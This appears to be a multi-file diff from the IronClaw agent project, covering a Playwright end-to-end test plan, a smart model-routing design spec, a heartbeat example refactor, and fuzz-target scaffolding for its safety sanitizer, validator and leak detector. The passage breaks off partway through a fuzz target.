||||
---
|
||||
|
||||
### Task 5: Scenario 1 -- Connection and tab navigation
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_connection.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
```python
|
||||
"""Scenario 1: Connection, auth, and tab navigation."""
|
||||
|
||||
import pytest
|
||||
from helpers import AUTH_TOKEN, SEL, TABS
|
||||
|
||||
|
||||
async def test_page_loads_and_connects(page):
|
||||
"""After auth, the app shows Connected status and all tabs."""
|
||||
# Connection status
|
||||
status = page.locator(SEL["sse_status"])
|
||||
await status.wait_for(state="visible", timeout=10000)
|
||||
text = await status.text_content()
|
||||
assert text is not None
|
||||
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
|
||||
|
||||
# All 6 main tabs visible
|
||||
for tab in TABS:
|
||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
||||
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
|
||||
|
||||
|
||||
async def test_tab_navigation(page):
|
||||
"""Clicking each tab shows its panel."""
|
||||
for tab in TABS:
|
||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
||||
await btn.click()
|
||||
panel = page.locator(SEL["tab_panel"].format(tab=tab))
|
||||
await panel.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# Return to Chat tab
|
||||
await page.locator(SEL["tab_button"].format(tab="chat")).click()
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
|
||||
async def test_auth_rejection(page, ironclaw_server):
|
||||
"""Navigating without a token shows the auth screen."""
|
||||
# Open a new page without the token
|
||||
new_page = await page.context.new_page()
|
||||
await new_page.goto(ironclaw_server)
|
||||
auth_screen = new_page.locator(SEL["auth_screen"])
|
||||
await auth_screen.wait_for(state="visible", timeout=10000)
|
||||
await new_page.close()
|
||||
```
|
||||
|
||||
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
|
||||
|
||||
```bash
|
||||
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
|
||||
```
|
||||
|
||||
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_connection.py
|
||||
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 6: Scenario 2 -- Chat message round-trip
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_chat.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
```python
|
||||
"""Scenario 2: Chat message round-trip via SSE streaming."""
|
||||
|
||||
import pytest
|
||||
from helpers import SEL
|
||||
|
||||
|
||||
async def test_send_message_and_receive_response(page):
|
||||
"""Type a message, receive a streamed response from mock LLM."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# Send message
|
||||
await chat_input.fill("What is 2+2?")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for assistant response
|
||||
assistant_msg = page.locator(SEL["message_assistant"]).last
|
||||
await assistant_msg.wait_for(state="visible", timeout=15000)
|
||||
|
||||
# Verify user message
|
||||
user_msgs = page.locator(SEL["message_user"])
|
||||
assert await user_msgs.count() >= 1
|
||||
last_user = user_msgs.last
|
||||
user_text = await last_user.text_content()
|
||||
assert "2+2" in user_text or "2 + 2" in user_text
|
||||
|
||||
# Verify assistant response contains "4" (from mock LLM canned response)
|
||||
assistant_text = await assistant_msg.text_content()
|
||||
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
|
||||
|
||||
|
||||
async def test_multiple_messages(page):
|
||||
"""Send two messages, verify both get responses."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# First message
|
||||
await chat_input.fill("Hello")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for first response
|
||||
await page.locator(SEL["message_assistant"]).first.wait_for(
|
||||
state="visible", timeout=15000
|
||||
)
|
||||
|
||||
# Second message
|
||||
await chat_input.fill("What is 2+2?")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for second response (at least 2 assistant messages)
|
||||
await page.wait_for_function(
|
||||
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
|
||||
timeout=15000,
|
||||
)
|
||||
|
||||
# Verify counts
|
||||
user_count = await page.locator(SEL["message_user"]).count()
|
||||
assistant_count = await page.locator(SEL["message_assistant"]).count()
|
||||
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
|
||||
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
|
||||
|
||||
|
||||
async def test_empty_message_not_sent(page):
|
||||
"""Pressing Enter with empty input should not create a message."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
||||
|
||||
# Press Enter with empty input
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait a moment and verify no new messages
|
||||
await page.wait_for_timeout(2000)
|
||||
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
||||
assert final_count == initial_count, "Empty message should not create new messages"
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_chat.py
|
||||
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 7: Scenario 3 -- Skills lifecycle
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_skills.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
|
||||
|
||||
```python
|
||||
"""Scenario 3: Skills search, install, and remove lifecycle."""
|
||||
|
||||
import pytest
|
||||
from helpers import SEL
|
||||
|
||||
|
||||
async def test_skills_tab_visible(page):
|
||||
"""Skills tab shows the search interface."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
|
||||
await panel.wait_for(state="visible", timeout=5000)
|
||||
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
assert await search_input.is_visible(), "Skills search input not visible"
|
||||
|
||||
|
||||
async def test_skills_search(page):
|
||||
"""Search ClawHub for skills and verify results appear."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
await search_input.fill("markdown")
|
||||
await search_input.press("Enter")
|
||||
|
||||
# Wait for results (ClawHub may be slow)
|
||||
try:
|
||||
results = page.locator(SEL["skill_search_result"])
|
||||
await results.first.wait_for(state="visible", timeout=20000)
|
||||
except Exception:
|
||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
||||
|
||||
count = await results.count()
|
||||
assert count >= 1, "Expected at least 1 search result"
|
||||
|
||||
|
||||
async def test_skills_install_and_remove(page):
|
||||
"""Install a skill from search results, then remove it."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
|
||||
# Search
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
await search_input.fill("markdown")
|
||||
await search_input.press("Enter")
|
||||
|
||||
try:
|
||||
results = page.locator(SEL["skill_search_result"])
|
||||
await results.first.wait_for(state="visible", timeout=20000)
|
||||
except Exception:
|
||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
||||
|
||||
# Auto-accept confirm dialogs
|
||||
await page.evaluate("window.confirm = () => true")
|
||||
|
||||
# Install first result
|
||||
install_btn = results.first.locator("button", has_text="Install")
|
||||
if await install_btn.count() == 0:
|
||||
pytest.skip("No installable skills found in results")
|
||||
await install_btn.click()
|
||||
|
||||
# Wait for install to complete (installed list updates)
|
||||
# The UI should show the skill in the installed section
|
||||
await page.wait_for_timeout(5000)
|
||||
|
||||
# Check if any installed skills exist now
|
||||
installed = page.locator(SEL["skill_installed"])
|
||||
installed_count = await installed.count()
|
||||
if installed_count == 0:
|
||||
# Try scrolling or waiting longer
|
||||
await page.wait_for_timeout(5000)
|
||||
installed_count = await installed.count()
|
||||
|
||||
assert installed_count >= 1, "Skill should appear in installed list after install"
|
||||
|
||||
# Remove the skill
|
||||
remove_btn = installed.first.locator("button", has_text="Remove")
|
||||
if await remove_btn.count() > 0:
|
||||
await remove_btn.click()
|
||||
await page.wait_for_timeout(3000)
|
||||
|
||||
# Verify removed
|
||||
new_count = await page.locator(SEL["skill_installed"]).count()
|
||||
assert new_count < installed_count, "Skill should be removed from installed list"
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_skills.py
|
||||
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 8: CI workflow
|
||||
|
||||
**Files:**
|
||||
- Create: `.github/workflows/e2e.yml`
|
||||
|
||||
**Step 1: Write the workflow**
|
||||
|
||||
```yaml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- "src/channels/web/**"
|
||||
- "tests/e2e/**"
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: Browser E2E
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
target
|
||||
~/.cargo/registry
|
||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
||||
|
||||
- name: Build ironclaw (libsql)
|
||||
run: cargo build --no-default-features --features libsql
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install --with-deps chromium
|
||||
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=120
|
||||
|
||||
- name: Upload screenshots on failure
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: e2e-screenshots
|
||||
path: tests/e2e/screenshots/
|
||||
if-no-files-found: ignore
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add .github/workflows/e2e.yml
|
||||
git commit -m "ci: add weekly E2E test workflow with Playwright"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 9: README
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/README.md`
|
||||
|
||||
**Step 1: Write the README**
|
||||
|
||||
```markdown
|
||||
# IronClaw E2E Tests
|
||||
|
||||
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.11+
|
||||
- Rust toolchain (for building ironclaw)
|
||||
- Chromium (installed via Playwright)
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install chromium
|
||||
```
|
||||
|
||||
## Build ironclaw
|
||||
|
||||
The tests need the ironclaw binary built with libsql support:
|
||||
|
||||
```bash
|
||||
cargo build --no-default-features --features libsql
|
||||
```
|
||||
|
||||
## Run tests
|
||||
|
||||
```bash
|
||||
# From repo root
|
||||
pytest tests/e2e/ -v
|
||||
|
||||
# Run a single scenario
|
||||
pytest tests/e2e/scenarios/test_chat.py -v
|
||||
|
||||
# With visible browser (not headless)
|
||||
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
|
||||
```
|
||||
|
||||
## Architecture
|
||||
|
||||
Tests start two subprocesses:
|
||||
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
|
||||
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
|
||||
|
||||
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
|
||||
|
||||
## Scenarios
|
||||
|
||||
| File | What it tests |
|
||||
|------|--------------|
|
||||
| `test_connection.py` | Auth, tab navigation, connection status |
|
||||
| `test_chat.py` | Send message, SSE streaming, response rendering |
|
||||
| `test_skills.py` | ClawHub search, skill install/remove |
|
||||
|
||||
## Adding new scenarios
|
||||
|
||||
1. Create `tests/e2e/scenarios/test_<name>.py`
|
||||
2. Use the `page` fixture for a fresh browser page
|
||||
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
|
||||
4. Keep tests deterministic -- use the mock LLM, not real providers
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/README.md
|
||||
git commit -m "docs: E2E test README with setup and usage instructions"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 10: Integration test -- run all scenarios end-to-end
|
||||
|
||||
**Step 1: Build ironclaw**
|
||||
|
||||
```bash
|
||||
cargo build --no-default-features --features libsql
|
||||
```
|
||||
|
||||
**Step 2: Run the full E2E suite**
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/ -v --timeout=120
|
||||
```
|
||||
|
||||
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
|
||||
|
||||
**Step 3: Fix any issues discovered during the run**
|
||||
|
||||
Common issues to watch for:
|
||||
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
|
||||
- Timing: increase wait timeouts if SSE streaming is slow
|
||||
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
|
||||
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
|
||||
|
||||
**Step 4: Final commit with any fixes**
|
||||
|
||||
```bash
|
||||
git add -A tests/e2e/
|
||||
git commit -m "fix: E2E test adjustments from integration run"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| Task | Files | Description |
|
||||
|------|-------|-------------|
|
||||
| 1 | pyproject.toml, __init__.py | Project scaffolding |
|
||||
| 2 | mock_llm.py | Mock OpenAI-compat server |
|
||||
| 3 | helpers.py | Selectors and utilities |
|
||||
| 4 | conftest.py | pytest fixtures |
|
||||
| 5 | test_connection.py | Scenario 1: connection/tabs |
|
||||
| 6 | test_chat.py | Scenario 2: chat round-trip |
|
||||
| 7 | test_skills.py | Scenario 3: skills lifecycle |
|
||||
| 8 | e2e.yml | CI workflow |
|
||||
| 9 | README.md | Documentation |
|
||||
| 10 | (integration run) | Verify everything works |
|
||||
@@ -1,195 +0,0 @@
|
||||
# Smart Model Routing for IronClaw
|
||||
|
||||
**Status:** Implemented
|
||||
**Author:** Microwave
|
||||
**Date:** 2026-02-19
|
||||
|
||||
## What
|
||||
|
||||
Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model.
|
||||
|
||||
## Why
|
||||
|
||||
1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models
|
||||
2. **User experience** — Simple requests return faster with lightweight models
|
||||
3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model
|
||||
4. **Zero-config value** — Users benefit immediately without configuration
|
||||
5. **Not just power users** — Everyone gets smart defaults, power users can override
|
||||
|
||||
## How
|
||||
|
||||
### Architecture
|
||||
|
||||
```
|
||||
User Message
|
||||
│
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ Pattern Overrides │ ← Fast-path for obvious cases (greetings, security audits)
|
||||
└────────┬─────────┘
|
||||
│ no match
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ Complexity Scorer │ ← 13-dimension analysis
|
||||
└────────┬─────────┘
|
||||
│ score 0-100
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ Tier Mapping │ ← 0-15: flash, 16-40: standard, 41-65: pro, 66+: frontier
|
||||
└────────┬─────────┘
|
||||
│ tier
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ Model Selection │ ← Currently: cheap provider (Flash/Standard/Pro) vs primary (Frontier)
|
||||
└────────┬─────────┘ Target: per-tier model mapping via config
|
||||
│
|
||||
▼
|
||||
LLM Provider
|
||||
```
|
||||
|
||||
### Complexity Scorer (13 Dimensions)
|
||||
|
||||
Each dimension produces a 0-100 score. Weighted sum determines total.
|
||||
|
||||
| Dimension | Weight | Signals |
|
||||
|-----------|--------|---------|
|
||||
| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" |
|
||||
| Token Estimate | 12% | Prompt length |
|
||||
| Code Indicators | 10% | Backticks, syntax, "implement", "PR" |
|
||||
| Multi-Step | 10% | "first", "then", "after", "steps" |
|
||||
| Domain Specific | 10% | Technical terms (configurable) |
|
||||
| Creativity | 7% | "write", "summarize", "tweet", "blog" |
|
||||
| Question Complexity | 7% | Multiple questions, open-ended starters |
|
||||
| Precision | 6% | Numbers, "exactly", "calculate" |
|
||||
| Ambiguity | 5% | Vague references |
|
||||
| Context Dependency | 5% | "previous", "you said" |
|
||||
| Sentence Complexity | 5% | Commas, conjunctions, clause depth |
|
||||
| Tool Likelihood | 5% | "read", "deploy", "install" |
|
||||
| Safety Sensitivity | 4% | "password", "auth", "vulnerability" |
|
||||
|
||||
**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold.
|
||||
|
||||
### Tier Boundaries
|
||||
|
||||
| Score | Tier | Typical Use Case |
|
||||
|-------|------|------------------|
|
||||
| 0-15 | flash | Greetings, acknowledgments, quick lookups |
|
||||
| 16-40 | standard | Writing, comparisons, defined tasks |
|
||||
| 41-65 | pro | Multi-step analysis, code review |
|
||||
| 66+ | frontier | Critical decisions, security audits |
|
||||
|
||||
### Pattern Overrides
|
||||
|
||||
Fast-path rules that bypass scoring for obvious cases:
|
||||
|
||||
```yaml
|
||||
# Force flash tier
|
||||
- "^(hi|hello|hey|thanks|ok|sure|yes|no)$"
|
||||
- "^what.*(time|date|day)"
|
||||
|
||||
# Force frontier tier
|
||||
- "security.*(audit|review|scan)"
|
||||
- "vulnerabilit(y|ies).*(review|scan|check|audit)"
|
||||
|
||||
# Force pro tier
|
||||
- "deploy.*(mainnet|production)"
|
||||
```
|
||||
|
||||
### Configuration
|
||||
|
||||
> **Note:** The current implementation supports smart routing via
|
||||
> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus
|
||||
> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML
|
||||
> schema below is the target design — not all knobs are wired yet.
|
||||
|
||||
**Default (zero-config):**
|
||||
```yaml
|
||||
llm:
|
||||
routing:
|
||||
enabled: true # default
|
||||
```
|
||||
|
||||
**Power user overrides (target schema):**
|
||||
```yaml
|
||||
llm:
|
||||
routing:
|
||||
enabled: true
|
||||
tiers:
|
||||
flash: "claude-3-5-haiku-latest"
|
||||
standard: "claude-sonnet-4-5-latest"
|
||||
pro: "claude-sonnet-4-5-latest"
|
||||
frontier: "claude-opus-4-5-latest"
|
||||
thinking:
|
||||
pro: "low"
|
||||
frontier: "medium"
|
||||
overrides:
|
||||
- pattern: "my-custom-pattern"
|
||||
tier: "pro"
|
||||
domain_keywords: # Custom keywords for your domain
|
||||
- "mycompany"
|
||||
- "myproduct"
|
||||
- "internal-tool"
|
||||
```
|
||||
|
||||
If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms.
|
||||
|
||||
**Disable routing (pin model):**
|
||||
```yaml
|
||||
llm:
|
||||
routing:
|
||||
enabled: false
|
||||
model: "claude-opus-4-5"
|
||||
```
|
||||
|
||||
**Bring your own keys:**
|
||||
```yaml
|
||||
llm:
|
||||
backend: anthropic
|
||||
api_key: "sk-..."
|
||||
routing:
|
||||
enabled: true # still works with external providers
|
||||
```
|
||||
|
||||
### Integration Points
|
||||
|
||||
1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`)
|
||||
2. **Scorer** — Pure function, no I/O, fast (~1ms)
|
||||
3. **Config schema** — Extend `LlmConfig` with `routing` section
|
||||
4. **Telemetry** — Log routing decisions for observability
|
||||
|
||||
### Model Agnosticism
|
||||
|
||||
**Critical:** No hardcoded model names in the router logic itself.
|
||||
|
||||
- Tier→model mappings come from config
|
||||
- Default mappings use `-latest` patterns where supported
|
||||
- NEAR AI backend handles actual model resolution
|
||||
- Router only knows about tiers
|
||||
|
||||
### Layers of Control
|
||||
|
||||
| Layer | User Type | Config |
|
||||
|-------|-----------|--------|
|
||||
| 1. Zero-config | Everyone | `routing.enabled: true` (default) |
|
||||
| 2. Tier tuning | Power users | Custom `routing.tiers` mapping |
|
||||
| 3. Pattern overrides | Power users | Custom `routing.overrides` |
|
||||
| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` |
|
||||
| 5. Own API keys | Power users | `backend: anthropic` + `api_key` |
|
||||
|
||||
## Implementation Plan
|
||||
|
||||
1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`)
|
||||
2. [x] Implement router wrapper (`src/llm/smart_routing.rs`)
|
||||
3. [x] Extend config schema (`src/config.rs`)
|
||||
4. [x] Wire into provider creation (`src/llm/mod.rs`)
|
||||
5. [x] Add telemetry/logging
|
||||
6. [x] Tests with real conversation samples
|
||||
7. [x] Codex + Gemini security review
|
||||
8. [x] Documentation updated (this spec)
|
||||
|
||||
## Expected Outcomes
|
||||
|
||||
- **50-70% cost reduction** for typical usage patterns
|
||||
- **Faster responses** for simple requests
|
||||
- **Zero config required** for default benefits
|
||||
- **Full control** for power users who want it
|
||||
@@ -1,12 +1,11 @@
|
||||
#![cfg(feature = "postgres")]
|
||||
//! Heartbeat integration test.
|
||||
//! Standalone heartbeat test.
|
||||
//!
|
||||
//! Exercises the heartbeat system in isolation: connects to the real
|
||||
//! database, reads the real HEARTBEAT.md, calls the real LLM, and prints
|
||||
//! every step so you can see exactly where it breaks.
|
||||
//!
|
||||
//! Usage:
|
||||
//! cargo test --test heartbeat_integration -- --ignored --nocapture
|
||||
//! cargo run --example test_heartbeat
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
@@ -14,23 +13,24 @@ use ironclaw::{
|
||||
agent::HeartbeatRunner,
|
||||
config::Config,
|
||||
history::Store,
|
||||
llm::{create_llm_provider, create_session_manager},
|
||||
llm::{SessionConfig, create_llm_provider, create_session_manager},
|
||||
workspace::Workspace,
|
||||
};
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore] // Requires running database and LLM credentials
|
||||
async fn test_heartbeat_end_to_end() {
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
// Load .env and set up logging
|
||||
let _ = dotenvy::dotenv();
|
||||
let _ = tracing_subscriber::fmt()
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter("ironclaw=debug")
|
||||
.try_init();
|
||||
.init();
|
||||
|
||||
println!("=== Heartbeat Integration Test ===\n");
|
||||
|
||||
// 1. Load config
|
||||
let config = Config::from_env().await.expect("Failed to load config");
|
||||
let config = Config::from_env()
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Config: {}", e))?;
|
||||
println!("[1/6] Config loaded");
|
||||
println!(" heartbeat.enabled = {}", config.heartbeat.enabled);
|
||||
println!(
|
||||
@@ -47,13 +47,8 @@ async fn test_heartbeat_end_to_end() {
|
||||
);
|
||||
|
||||
// 2. Connect to database
|
||||
let store = Store::new(&config.database)
|
||||
.await
|
||||
.expect("Failed to connect to database");
|
||||
store
|
||||
.run_migrations()
|
||||
.await
|
||||
.expect("Failed to run migrations");
|
||||
let store = Store::new(&config.database).await?;
|
||||
store.run_migrations().await?;
|
||||
println!("[2/6] Database connected");
|
||||
|
||||
// 3. Create workspace
|
||||
@@ -83,18 +78,19 @@ async fn test_heartbeat_end_to_end() {
|
||||
}
|
||||
|
||||
// 5. Create LLM provider
|
||||
let session = create_session_manager(config.llm.session.clone()).await;
|
||||
let llm = create_llm_provider(&config.llm, session)
|
||||
.await
|
||||
.expect("Failed to create LLM provider");
|
||||
let session = create_session_manager(SessionConfig {
|
||||
auth_base_url: config.llm.nearai.auth_base_url.clone(),
|
||||
session_path: config.llm.nearai.session_path.clone(),
|
||||
})
|
||||
.await;
|
||||
let llm = create_llm_provider(&config.llm, session)?;
|
||||
println!("[5/6] LLM provider created (model: {})", llm.model_name());
|
||||
|
||||
// 6. Run heartbeat check
|
||||
println!("[6/6] Running check_heartbeat()...\n");
|
||||
|
||||
let hb_config = ironclaw::agent::HeartbeatConfig::default();
|
||||
let hygiene_config = ironclaw::workspace::hygiene::HygieneConfig::default();
|
||||
let runner = HeartbeatRunner::new(hb_config, hygiene_config, workspace, llm);
|
||||
let runner = HeartbeatRunner::new(hb_config, workspace, llm);
|
||||
|
||||
let result = runner.check_heartbeat().await;
|
||||
|
||||
@@ -120,4 +116,6 @@ async fn test_heartbeat_end_to_end() {
|
||||
println!(" Error: {}", err);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
[package]
|
||||
name = "ironclaw-fuzz"
|
||||
version = "0.0.0"
|
||||
publish = false
|
||||
edition = "2021"
|
||||
|
||||
[package.metadata]
|
||||
cargo-fuzz = true
|
||||
|
||||
[dependencies]
|
||||
libfuzzer-sys = "0.4"
|
||||
serde_json = "1"
|
||||
|
||||
[dependencies.ironclaw]
|
||||
path = ".."
|
||||
|
||||
[[bin]]
|
||||
name = "fuzz_safety_sanitizer"
|
||||
path = "fuzz_targets/fuzz_safety_sanitizer.rs"
|
||||
doc = false
|
||||
|
||||
[[bin]]
|
||||
name = "fuzz_safety_validator"
|
||||
path = "fuzz_targets/fuzz_safety_validator.rs"
|
||||
doc = false
|
||||
|
||||
[[bin]]
|
||||
name = "fuzz_leak_detector"
|
||||
path = "fuzz_targets/fuzz_leak_detector.rs"
|
||||
doc = false
|
||||
|
||||
[[bin]]
|
||||
name = "fuzz_tool_params"
|
||||
path = "fuzz_targets/fuzz_tool_params.rs"
|
||||
doc = false
|
||||
|
||||
[[bin]]
|
||||
name = "fuzz_config_env"
|
||||
path = "fuzz_targets/fuzz_config_env.rs"
|
||||
doc = false
|
||||
@@ -1,43 +0,0 @@
|
||||
# IronClaw Fuzz Targets
|
||||
|
||||
Fuzz testing for security-critical input parsing paths using [cargo-fuzz](https://github.com/rust-fuzz/cargo-fuzz) (libFuzzer).
|
||||
|
||||
## Targets
|
||||
|
||||
| Target | What it exercises |
|
||||
|--------|-------------------|
|
||||
| `fuzz_safety_sanitizer` | Prompt injection pattern detection (Aho-Corasick + regex) |
|
||||
| `fuzz_safety_validator` | Input validation (length, encoding, forbidden patterns) |
|
||||
| `fuzz_leak_detector` | Secret leak detection (API keys, tokens, credentials) |
|
||||
| `fuzz_tool_params` | Tool parameter and schema JSON validation |
|
||||
| `fuzz_config_env` | SafetyLayer end-to-end (sanitize, validate, policy check) |
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cargo install cargo-fuzz
|
||||
rustup install nightly
|
||||
```
|
||||
|
||||
## Running
|
||||
|
||||
```bash
|
||||
# Run a specific target (runs until stopped or crash found)
|
||||
cargo +nightly fuzz run fuzz_safety_sanitizer
|
||||
|
||||
# Run with a time limit (5 minutes)
|
||||
cargo +nightly fuzz run fuzz_leak_detector -- -max_total_time=300
|
||||
|
||||
# Run all targets for 60 seconds each
|
||||
for target in fuzz_safety_sanitizer fuzz_safety_validator fuzz_leak_detector fuzz_tool_params fuzz_config_env; do
|
||||
echo "==> $target"
|
||||
cargo +nightly fuzz run "$target" -- -max_total_time=60
|
||||
done
|
||||
```
|
||||
|
||||
## Adding New Targets
|
||||
|
||||
1. Create `fuzz/fuzz_targets/fuzz_<name>.rs` following the existing pattern
|
||||
2. Add a `[[bin]]` entry in `fuzz/Cargo.toml`
|
||||
3. Create `fuzz/corpus/fuzz_<name>/` for seed inputs
|
||||
4. Exercise real IronClaw code paths, not just generic serde
|
||||
@@ -1,55 +0,0 @@
|
||||
#![no_main]
|
||||
use libfuzzer_sys::fuzz_target;
|
||||
|
||||
use ironclaw::safety::{LeakDetector, Sanitizer, Validator};
|
||||
|
||||
fuzz_target!(|data: &[u8]| {
|
||||
if let Ok(input) = std::str::from_utf8(data) {
|
||||
// Exercise Sanitizer: detect and neutralize prompt injection attempts.
|
||||
let sanitizer = Sanitizer::new();
|
||||
let sanitized = sanitizer.sanitize(input);
|
||||
// The sanitized content must never be empty when input is non-empty,
|
||||
// because sanitization wraps/escapes rather than deleting.
|
||||
if !input.is_empty() {
|
||||
assert!(
|
||||
!sanitized.content.is_empty(),
|
||||
"sanitize() produced empty content for non-empty input"
|
||||
);
|
||||
}
|
||||
// If no modification occurred, content must equal input.
|
||||
if !sanitized.was_modified {
|
||||
assert_eq!(sanitized.content, input);
|
||||
}
|
||||
|
||||
// Exercise Validator: input validation (length, encoding, patterns).
|
||||
let validator = Validator::new();
|
||||
let result = validator.validate(input);
|
||||
// ValidationResult must always be well-formed: if valid, no errors.
|
||||
if result.is_valid {
|
||||
assert!(
|
||||
result.errors.is_empty(),
|
||||
"valid result should have no errors"
|
||||
);
|
||||
}
|
||||
|
||||
// Exercise LeakDetector: secret detection (API keys, tokens, etc.).
|
||||
let detector = LeakDetector::new();
|
||||
let scan = detector.scan(input);
|
||||
